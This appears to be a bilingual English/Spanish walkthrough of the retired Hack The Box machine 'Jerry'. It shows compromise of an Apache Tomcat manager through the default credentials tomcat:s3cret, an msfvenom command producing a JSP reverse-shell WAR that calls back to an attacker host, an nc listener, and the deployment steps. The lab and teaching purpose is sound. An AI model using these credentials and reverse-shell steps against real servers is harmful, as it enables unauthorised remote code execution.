Jerry
Executive summary — Jerry is an Easy Windows box teaching a golden lesson: if you control an application-deployment panel, you already have code execution. An Apache Tomcat with the manager exposed and default credentials lets us upload a
.warwith a reverse shell; and since the service runs with high privileges, access is direct — no escalation. A Tomcat → WAR → RCE path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.23.114 |
Attack map
[8080] Apache Tomcat
│ /manager/html with default credentials (tomcat:s3cret)
▼
[DEPLOY] upload a .war with a JSP reverse shell → Tomcat runs it
▼
[RCE] the service runs with high privileges → direct access (no privesc)
1. Reconnaissance
We start with a full port scan:
nmap -p- --min-rate 10000 10.129.23.114
8080/tcp open http Apache Tomcat
Recognisable pattern: Tomcat on 8080 should immediately make you think of the manager (
/manager/html), default credentials and app deployment. That's almost always the path on this kind of lab or exam target.
With just this one finding we can already form a working hypothesis: if we manage to get into the manager, we can almost certainly upload a .war with a JSP reverse shell and get code execution.
Resumen ejecutivo — Jerry es una Windows Easy que enseña una lección de oro: si controlas un panel de despliegue de aplicaciones, ya tienes ejecución de código. Un Apache Tomcat con el manager expuesto y credenciales por defecto permite subir un
.warcon una reverse shell; y como el servicio corre con privilegios altos, el acceso es directo — sin escalada. Recorrido Tomcat → WAR → RCE.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.23.114 |
Mapa del ataque
[8080] Apache Tomcat
│ /manager/html con credenciales por defecto (tomcat:s3cret)
▼
[DEPLOY] subir un .war con una reverse shell JSP → Tomcat lo ejecuta
▼
[RCE] el servicio corre con privilegios altos → acceso directo (sin escalada)
1. Reconocimiento
Empezamos con un escaneo de puertos completo:
nmap -p- --min-rate 10000 10.129.23.114
8080/tcp open http Apache Tomcat
Patrón reconocible: Tomcat en el 8080 debe hacerte pensar de inmediato en el manager (
/manager/html), credenciales por defecto y despliegue de aplicaciones. Ese es casi siempre el camino en un laboratorio o examen con este servicio.
Con solo este dato ya podemos formular una hipótesis de trabajo: si conseguimos entrar al manager, casi seguro podremos subir un .war con una reverse shell JSP y obtener ejecución de código.
2. Web service reconnaissance
We open http://10.129.23.114:8080 and see the standard Tomcat page, not a custom site.
Why it matters: the fact that it's the default application-server page — not a bespoke site — suggests other default components may still be active too, like
/manager/htmlor/host-manager/html. We go straight to test them.
3. The Tomcat Manager panel
We go to the application admin panel:
http://10.129.23.114:8080/manager/html
It asks for authentication. We try known Tomcat credentials — on this box they work:
tomcat : s3cret
Why trying default creds is reasonable: Tomcat historically ships misconfigured environments with default credentials, weak credentials, or documentation examples left in production. Seeing the exposed manager and trying known combos is the first, logical, very effective thing to do.
Getting in here is almost full compromise: the manager panel isn't just an admin area, it lets you deploy applications. And deploying an app you control on a server equals running code on it.
4. Building the payload: a .war with a JSP reverse shell
Tomcat runs Java web apps, whose native deployment format is the WAR. If we manage to upload one containing a JSP reverse shell, Tomcat will unpack it and serve it itself. We generate the payload:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f war > shell.war
-p java/jsp_shell_reverse_tcp— reverse-shell payload for JSP/Java.LHOST=<ATTACKER_IP>— our HTB VPN IP.LPORT=4444— port we'll listen on for the callback.-f war— WAR output format, the one Tomcat knows how to deploy.
Why msfvenom here: Tomcat understands a WAR natively, so it's the fastest, most reliable, most compatible way to get RCE, without having to hand-write the JSP.
5. Listener
Before deploying anything, we set up the listener:
nc -lvnp 4444
Why this is mandatory first: a reverse shell makes the victim connect back to us. If we're not listening first, the connection is lost and we'd have to redeploy. One of the most typical mistakes when starting out.
6. Uploading and deploying the WAR
In the manager, we use the Deploy function to upload shell.war. Internally, Tomcat:
- receives the WAR,
- unpacks it,
- publishes it as a web application,
- and makes it accessible under a path, usually
/shell.
Once deployed, we visit the app's path:
http://10.129.23.114:8080/shell
Loading the JSP runs the payload and the machine connects back to our listener: we now have remote code execution on the server.
C:\apache-tomcat\bin>
7. Shell obtained: privilege context
We check where we are and with what privileges. On Jerry, the Tomcat process runs with a high-privilege account, enough to reach the administrator's desktop directly.
Why this happens: in many Tomcat labs, the service runs under a privileged account or directly in an administrative context. It's bad practice — a service exposed to the network should never hold that level of permissions — but it's exactly what makes this box easy: there's no escalation phase, the vulnerable service already runs as an over-privileged account.
8. Finding the flags
We move to the administrator's desktop and list its contents:
cd C:\Users\Administrator\Desktop
dir
There's no typical root.txt, but a folder named flags. We go in and list again:
cd flags
dir
A single file shows up: 2 for the price of 1.txt. The machine is explicitly telling us both flags are in there together — on Jerry there's no classic user.txt/root.txt split, everything is packed into the same file as a final wink. We read it:
type "2 for the price of 1.txt"
The file contains the user flag and the root flag together. System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold + Root | Apache Tomcat Manager | Default credentials (tomcat:s3cret) + WAR deployment | RCE with high privileges |
Lessons learned
- Recognise Tomcat fast: seeing it on 8080 should lead you straight to manager, default credentials and WAR deployment.
- Deployment panel = code execution. If you can upload and run an app, you have RCE.
- Default/weak credentials are devastating: no CVE needed if admin access is already open.
- Don't expose the Tomcat Manager to the network, and ALWAYS change sample credentials.
- Over-privileged services: Tomcat running as a privileged account turns an RCE into full compromise, no escalation needed — you don't always get that phase.
- Exploitation can be very simple: correct enumeration + understanding the service + the right payload is sometimes all it takes.
2. Reconocimiento del servicio web
Abrimos http://10.129.23.114:8080 y vemos la página estándar de Tomcat, no una web personalizada.
Por qué importa: que sea la página por defecto del servidor de aplicaciones — y no un sitio a medida — sugiere que otros componentes por defecto también pueden seguir activos, como
/manager/htmlo/host-manager/html. Vamos directos a probarlos.
3. El panel Manager de Tomcat
Entramos en el panel de administración de aplicaciones:
http://10.129.23.114:8080/manager/html
Pide autenticación. Probamos credenciales conocidas de Tomcat — en esta máquina funcionan:
tomcat : s3cret
Por qué probar credenciales por defecto es razonable: Tomcat arrastra históricamente entornos mal configurados con credenciales por defecto, credenciales débiles o ejemplos de la documentación dejados en producción. Ver el manager expuesto y probar combinaciones conocidas es lo primero, lógico y muy efectivo que se puede hacer.
Entrar aquí ya es casi compromiso total: el panel manager no es solo una zona de administración, permite desplegar aplicaciones. Y desplegar una aplicación en un servidor que tú controlas equivale a ejecutar código en él.
4. Preparación del payload: un .war con reverse shell JSP
Tomcat ejecuta aplicaciones web Java, cuyo formato de despliegue nativo es el WAR. Si conseguimos subir uno que contenga una reverse shell JSP, Tomcat lo descomprimirá y lo servirá él solito. Generamos el payload:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f war > shell.war
-p java/jsp_shell_reverse_tcp— payload de reverse shell para JSP/Java.LHOST=<ATTACKER_IP>— nuestra IP de VPN de HTB.LPORT=4444— puerto donde escucharemos la conexión de vuelta.-f war— formato de salida WAR, el que Tomcat sabe desplegar.
Por qué msfvenom aquí: Tomcat entiende un WAR de forma nativa, así que es la vía más rápida, fiable y compatible de conseguir RCE, sin tener que escribir el JSP a mano.
5. Listener
Antes de desplegar nada, ponemos el listener:
nc -lvnp 4444
Por qué es obligatorio hacerlo antes: una reverse shell hace que la víctima se conecte a nosotros. Si no estamos escuchando primero, la conexión se pierde y hay que repetir el despliegue. Es uno de los errores más típicos al empezar en esto.
6. Subida y despliegue del WAR
En el manager, usamos la función Deploy para subir shell.war. Internamente, Tomcat:
- recibe el WAR,
- lo descomprime,
- lo publica como una aplicación web,
- y lo deja accesible bajo una ruta, normalmente
/shell.
Una vez desplegado, visitamos la ruta de la aplicación:
http://10.129.23.114:8080/shell
Al cargarse el JSP se ejecuta el payload y la máquina se conecta a nuestro listener: ya tenemos ejecución remota de código en el servidor.
C:\apache-tomcat\bin>
7. Shell obtenida: contexto de privilegios
Comprobamos dónde estamos y con qué privilegios. En Jerry, el proceso de Tomcat corre con una cuenta de privilegios altos, suficiente para acceder directamente al escritorio del administrador.
Por qué pasa esto: en muchos laboratorios con Tomcat, el servicio corre con una cuenta privilegiada o directamente en contexto administrativo. No es una buena práctica — un servicio expuesto a la red nunca debería tener ese nivel de permisos —, pero es justo lo que hace que esta máquina sea fácil: no hay fase de escalada, el servicio vulnerable ya corre como una cuenta con demasiado poder.
8. Búsqueda de las flags
Nos movemos al escritorio del administrador y listamos el contenido:
cd C:\Users\Administrator\Desktop
dir
No aparece el típico root.txt, sino una carpeta llamada flags. Entramos y volvemos a listar:
cd flags
dir
Aparece un único archivo: 2 for the price of 1.txt. La máquina indica explícitamente que ahí están las dos flags juntas — en Jerry no hay la separación clásica user.txt/root.txt, todo va empaquetado en el mismo fichero como guiño final. Lo leemos:
type "2 for the price of 1.txt"
El archivo contiene la user flag y la root flag juntas. Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold + Root | Apache Tomcat Manager | Credenciales por defecto (tomcat:s3cret) + despliegue de WAR | RCE con privilegios altos |
Lecciones aprendidas
- Reconocer Tomcat rápido: verlo en el 8080 debe llevarte directo a pensar en manager, credenciales por defecto y despliegue de WAR.
- Panel de despliegue = ejecución de código. Si puedes subir y ejecutar una app, tienes RCE.
- Credenciales por defecto/débiles son devastadoras: no hace falta ningún CVE si el acceso admin ya está abierto.
- No expongas el Tomcat Manager a la red, y cambia SIEMPRE las credenciales de ejemplo.
- Servicios con demasiados privilegios: Tomcat corriendo como cuenta privilegiada convierte una RCE en compromiso total, sin escalada — no siempre hace falta esa fase.
- La explotación puede ser muy simple: enumeración correcta + entender el servicio + el payload adecuado, a veces ya es suficiente.